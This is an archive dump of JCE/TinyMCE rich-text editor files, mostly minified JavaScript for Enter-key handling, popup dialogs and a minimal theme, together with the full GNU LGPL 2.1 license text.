containerBlockParentName=containerBlock.parentNode.nodeName;/^(OL|UL|LI)$/.test(containerBlockParentName)&&(newBlockName="LI"),newBlock=newBlockName?createNewBlock(newBlockName):dom.create("BR"),isFirstOrLastLi(!0)&&isFirstOrLastLi()?"LI"==containerBlockParentName?dom.insertAfter(newBlock,getContainerBlock()):dom.replace(newBlock,containerBlock):isFirstOrLastLi(!0)?"LI"==containerBlockParentName?(dom.insertAfter(newBlock,getContainerBlock()),newBlock.appendChild(dom.doc.createTextNode(" ")),newBlock.appendChild(containerBlock)):containerBlock.parentNode.insertBefore(newBlock,containerBlock):isFirstOrLastLi()?(dom.insertAfter(newBlock,getContainerBlock()),renderBlockOnIE(newBlock)):(containerBlock=getContainerBlock(),tmpRng=rng.cloneRange(),tmpRng.setStartAfter(parentBlock),tmpRng.setEndAfter(containerBlock),fragment=tmpRng.extractContents(),"LI"==newBlockName&&"LI"==fragment.firstChild.nodeName?(newBlock=fragment.firstChild,dom.insertAfter(fragment,containerBlock)):(dom.insertAfter(fragment,containerBlock),dom.insertAfter(newBlock,containerBlock))),dom.remove(parentBlock),moveToCaretPosition(newBlock),undoManager.add()}}function insertBr(){editor.execCommand("InsertLineBreak",!1,evt)}function trimLeadingLineBreaks(node){do 3===node.nodeType&&(node.nodeValue=node.nodeValue.replace(/^[\r\n]+/,"")),node=node.firstChild;while(node)}function getEditableRoot(node){var parent,editableRoot,root=dom.getRoot();for(parent=node;parent!==root&&"false"!==dom.getContentEditable(parent);)"true"===dom.getContentEditable(parent)&&(editableRoot=parent),parent=parent.parentNode;return parent!==root?editableRoot:root}function addBrToBlockIfNeeded(block){var lastChild;isIE||(block.normalize(),lastChild=block.lastChild,lastChild&&!/^(left|right)$/gi.test(dom.getStyle(lastChild,"float",!0))||dom.add(block,"br"))}function insertNewBlockAfter(){newBlock=/^(H[1-6]|PRE|FIGURE)$/.test(parentBlockName)&&"HGROUP"!=containerBlockName?createNewBlock(newBlockName):createNewBlock(),settings.end_container_on_empty_block&&canSplitBlock(containerBlock)&&dom.isEmpty(parentBlock)?newBlock=dom.split(containerBlock,parentBlock):dom.insertAfter(newBlock,parentBlock),moveToCaretPosition(newBlock)}var tmpRng,editableRoot,container,offset,parentBlock,documentMode,shiftKey,newBlock,fragment,containerBlock,parentBlockName,containerBlockName,newBlockName,isAfterLastNodeInContainer,rng=selection.getRng(!0);if(rng=selection.getRng(!0),!evt.isDefaultPrevented()){if(!rng.collapsed)return void editor.execCommand("Delete");if(new RangeUtils(dom).normalize(rng),container=rng.startContainer,offset=rng.startOffset,newBlockName=(settings.force_p_newlines?"p":"")||settings.forced_root_block,newBlockName=newBlockName?newBlockName.toUpperCase():"",documentMode=dom.doc.documentMode,shiftKey=evt.shiftKey,1==container.nodeType&&container.hasChildNodes()&&(isAfterLastNodeInContainer=offset>container.childNodes.length-1,container=container.childNodes[Math.min(offset,container.childNodes.length-1)]||container,offset=isAfterLastNodeInContainer&&3==container.nodeType?container.nodeValue.length:0),editableRoot=getEditableRoot(container)){if(undoManager.beforeChange(),!dom.isBlock(editableRoot)&&editableRoot!=dom.getRoot())return void(newBlockName&&!shiftKey||insertBr());if((newBlockName&&!shiftKey||!newBlockName&&shiftKey)&&(container=wrapSelfAndSiblingsInDefaultBlock(container,offset)),parentBlock=dom.getParent(container,dom.isBlock),containerBlock=parentBlock?dom.getParent(parentBlock.parentNode,dom.isBlock):null,parentBlockName=parentBlock?parentBlock.nodeName.toUpperCase():"",containerBlockName=containerBlock?containerBlock.nodeName.toUpperCase():"","LI"!=containerBlockName||evt.ctrlKey||(parentBlock=containerBlock,parentBlockName=containerBlockName),/^(LI|DT|DD)$/.test(parentBlockName)){if(!newBlockName&&shiftKey)return void insertBr();if(dom.isEmpty(parentBlock))return void handleEmptyListItem()}if("PRE"==parentBlockName&&settings.br_in_pre!==!1){if(!shiftKey)return void insertBr()}else if(!newBlockName&&!shiftKey&&"LI"!=parentBlockName||newBlockName&&shiftKey)return void insertBr();newBlockName&&parentBlock===editor.getBody()||(newBlockName=newBlockName||"P",isCaretContainerBlock(parentBlock)?(newBlock=showCaretContainerBlock(parentBlock),dom.isEmpty(parentBlock)&&emptyBlock(parentBlock),moveToCaretPosition(newBlock)):isCaretAtStartOrEndOfBlock()?insertNewBlockAfter():isCaretAtStartOrEndOfBlock(!0)?(newBlock=parentBlock.parentNode.insertBefore(createNewBlock(),parentBlock),renderBlockOnIE(newBlock),moveToCaretPosition(parentBlock)):(tmpRng=rng.cloneRange(),tmpRng.setEndAfter(parentBlock),fragment=tmpRng.extractContents(),trimLeadingLineBreaks(fragment),newBlock=fragment.firstChild,dom.insertAfter(fragment,parentBlock),trimInlineElementsOnLeftSideOfBlock(newBlock),addBrToBlockIfNeeded(parentBlock),dom.isEmpty(parentBlock)&&emptyBlock(parentBlock),newBlock.normalize(),dom.isEmpty(newBlock)?(dom.remove(newBlock),insertNewBlockAfter()):moveToCaretPosition(newBlock)),dom.setAttrib(newBlock,"id",""),undoManager.add())}}}var dom=editor.dom,selection=editor.selection,settings=editor.settings,undoManager=editor.undoManager,schema=editor.schema,nonEmptyElementsMap=schema.getNonEmptyElements(),moveCaretBeforeOnEnterElementsMap=schema.getMoveCaretBeforeOnEnterElements(),isIE=tinymce.isIE&&tinymce.isIE<11;editor.onKeyDown.add(function(ed,evt){13==evt.keyCode&&handleEnterKey(evt)!==!1&&evt.preventDefault()})}}(tinymce);editor/tiny_mce/tiny_mce_popup.js000060400000011463150750527150013241 0ustar00/**
 * Copyright 2009, Moxiecode Systems AB
 * Released under LGPL License.
 * License: https://tinymce.moxiecode.com/license
 * Contributing: https://tinymce.moxiecode.com/contributing
**/
var tinymce=null,tinyMCEPopup,tinyMCE;tinyMCEPopup={init:function(){var w,t=this;w=t.getWin(),tinymce=w.tinymce,tinyMCE=w.tinyMCE,t.editor=tinymce.EditorManager.activeEditor,t.params=t.editor.windowManager.params,t.features=t.editor.windowManager.features,t.dom=t.editor.windowManager.createInstance("tinymce.dom.DOMUtils",document,{ownEvents:!0,proxy:tinyMCEPopup._eventProxy}),t.dom.bind(window,"ready",t._onDOMLoaded,t),t.features.popup_css!==!1&&t.dom.loadCSS(t.features.popup_css||t.editor.settings.popup_css),t.listeners=[],t.onInit={add:function(f,s){t.listeners.push({func:f,scope:s})}},t.isWindow=!t.getWindowArg("mce_inline"),t.id=t.getWindowArg("mce_window_id"),t.editor.windowManager.onOpen.dispatch(t.editor.windowManager,window)},getWin:function(){return!window.frameElement&&window.dialogArguments||opener||parent||top},getWindowArg:function(n,dv){var v=this.params[n];return tinymce.is(v)?v:dv},getParam:function(n,dv){return this.editor.getParam(n,dv)},getLang:function(n,dv){return this.editor.getLang(n,dv)},execCommand:function(cmd,ui,val,a){return a=a||{},a.skip_focus=1,this.restoreSelection(),this.editor.execCommand(cmd,ui,val,a)},resizeToInnerSize:function(){var t=this;setTimeout(function(){var vp=t.dom.getViewPort(window);t.editor.windowManager.resizeBy(t.getWindowArg("mce_width")-vp.w,t.getWindowArg("mce_height")-vp.h,t.id||window)},10)},executeOnLoad:function(s){this.onInit.add(function(){eval(s)})},storeSelection:function(){this.editor.windowManager.bookmark=tinyMCEPopup.editor.selection.getBookmark(1)},restoreSelection:function(){var t=tinyMCEPopup;!t.isWindow&&tinymce.isIE&&t.editor.selection.moveToBookmark(t.editor.windowManager.bookmark)},requireLangPack:function(){var t=this,u=t.getWindowArg("plugin_url")||t.getWindowArg("theme_url");u&&t.editor.settings.language&&t.features.translate_i18n!==!1&&t.editor.settings.language_load!==!1&&(u+="/langs/"+t.editor.settings.language+"_dlg.js",tinymce.ScriptLoader.isDone(u)||(document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"></script>'),tinymce.ScriptLoader.markDone(u)))},pickColor:function(e,element_id){this.execCommand("mceColorPicker",!0,{color:document.getElementById(element_id).value,func:function(c){document.getElementById(element_id).value=c;try{document.getElementById(element_id).onchange()}catch(ex){}}})},openBrowser:function(args){tinyMCEPopup.restoreSelection(),this.editor.execCallback("file_browser_callback",args,window)},confirm:function(t,cb,s){this.editor.windowManager.confirm(t,cb,s,window)},alert:function(tx,cb,s){this.editor.windowManager.alert(tx,cb,s,window)},close:function(){function close(){t.editor.windowManager.close(window),tinymce=tinyMCE=t.editor=t.params=t.dom=t.dom.doc=null}var t=this;tinymce.isOpera?t.getWin().setTimeout(close,0):close()},_restoreSelection:function(e){var e=e&&e.target||window.event.srcElement;"INPUT"!=e.nodeName||"submit"!=e.type&&"button"!=e.type||tinyMCEPopup.restoreSelection()},_onDOMLoaded:function(){var h,nv,t=tinyMCEPopup,ti=document.title;t.features.translate_i18n!==!1&&(h=document.body.innerHTML,tinymce.isIE&&(h=h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi,' $1="$2"')),document.dir=t.editor.getParam("directionality",""),(nv=t.editor.translate(h))&&nv!=h&&(document.body.innerHTML=nv),(nv=t.editor.translate(ti))&&nv!=ti&&(document.title=ti=nv)),t.editor.getParam("browser_preferred_colors",!1)&&t.isWindow||t.dom.addClass(document.body,"forceColors"),document.body.style.display="",tinymce.isIE&&!tinymce.isIE11?(document.attachEvent("onmouseup",tinyMCEPopup._restoreSelection),t.dom.add(t.dom.select("head")[0],"base",{target:"_self"})):tinymce.isIE11&&document.addEventListener("mouseup",tinyMCEPopup._restoreSelection,!1),t.restoreSelection(),t.resizeToInnerSize(),t.isWindow?window.focus():t.editor.windowManager.setTitle(window,ti),tinymce.isIE||t.isWindow||t.dom.bind(document,"focus",function(){t.editor.windowManager.focus(t.id)}),tinymce.each(t.dom.select("select"),function(e){e.onkeydown=tinyMCEPopup._accessHandler}),tinymce.each(t.listeners,function(o){o.func.call(o.scope,t.editor)}),t.getWindowArg("mce_auto_focus",!0)&&(window.focus(),tinymce.each(document.forms,function(f){tinymce.each(f.elements,function(e){if(t.dom.hasClass(e,"mceFocus")&&!e.disabled)return e.focus(),!1})})),document.onkeyup=tinyMCEPopup._closeWinKeyHandler},_accessHandler:function(e){if(e=e||window.event,13==e.keyCode||32==e.keyCode){var elm=e.target||e.srcElement;return elm.onchange&&elm.onchange(),tinymce.dom.Event.cancel(e)}},_closeWinKeyHandler:function(e){e=e||window.event,27==e.keyCode&&tinyMCEPopup.close()},_eventProxy:function(id){return function(evt){tinyMCEPopup.dom.events.callNativeHandler(id,evt)}}},tinyMCEPopup.init();editor/tiny_mce/license.txt000060400000064463150750527150012044 0ustar00		  GNU LESSER GENERAL PUBLIC LICENSE
		       Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

		  GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.
  
  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

			    NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

		     END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!


editor/tiny_mce/themes/none/editor_template.js000060400000004531150750527150015612 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM;tinymce.create("tinymce.themes.NoSkin",{init:function(ed,url){function grabContent(){var n,or,r,se=ed.selection;n=ed.dom.add(ed.getBody(),"div",{id:"_mcePaste",style:"position:absolute;left:-1000px;top:-1000px"},'<br mce_bogus="1" />').firstChild,or=ed.selection.getRng(),r=ed.getDoc().createRange(),r.setStart(n,0),r.setEnd(n,0),se.setRng(r),window.setTimeout(function(){var n=ed.dom.get("_mcePaste");h=n.innerHTML,ed.dom.remove(n),se.setRng(or),h=h.replace(/<\/?\w+[^>]*>/gi,""),el=ed.dom.create("div",0,h),tinymce.each(ed.dom.select("span",el).reverse(),function(n){if(ed.dom.getAttribs(n).length<=1&&""===n.className)return ed.dom.remove(n,1)}),ed.execCommand("mceInsertContent",!1,ed.serializer.serialize(el,{getInner:1}))},0)}var t=this,s=ed.settings;t.editor=ed,ed.onInit.add(function(){ed.onBeforeExecCommand.add(function(ed,cmd,ui,val,o){return o.terminate=!0,!1}),ed.dom.loadCSS(url+"/skins/default/content.css")}),ed.onKeyDown.add(function(ed,e){(e.ctrlKey&&86==e.keyCode||e.shiftKey&&45==e.keyCode)&&grabContent()}),ed.onKeyDown.add(function(ed,e){if(e.ctrlKey&&66==e.keyCode||e.ctrlKey&&73==e.keyCode||e.ctrlKey&&85==e.keyCode)return tinymce.dom.Event.cancel(e)}),ed.settings.compress.css||DOM.loadCSS(s.editor_css?ed.documentBaseURI.toAbsolute(s.editor_css):url+"/skins/default/ui.css")},renderUI:function(o){var ic,sc,t=this,n=o.targetNode,ed=t.editor;ed.controlManager;return n=p=DOM.create("div",{role:"application","aria-labelledby":ed.id+"_voice",id:ed.id+"_parent",class:"mceEditor defaultSkin"+("rtl"==ed.settings.directionality?" mceRtl":"")}),DOM.add(n,"span",{class:"mceVoiceLabel",style:"display:none;",id:ed.id+"_voice"},ed.settings.aria_label),n=sc=DOM.add(n,"div",{role:"presentation",id:ed.id+"_tbl",class:"mceLayout"}),ic=DOM.add(n,"div",{class:"mceIframeContainer"}),n=o.targetNode,DOM.insertAfter(p,n),{iframeContainer:ic,editorContainer:ed.id+"_parent",sizeContainer:sc,deltaHeight:-20}},getInfo:function(){return{longname:"Simple theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.ThemeManager.add("none",tinymce.themes.NoSkin)}();editor/tiny_mce/themes/none/skins/index.html000060400000000054150750527150015213 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/none/skins/default/index.html000060400000000054150750527150016637 0ustar00<html><body 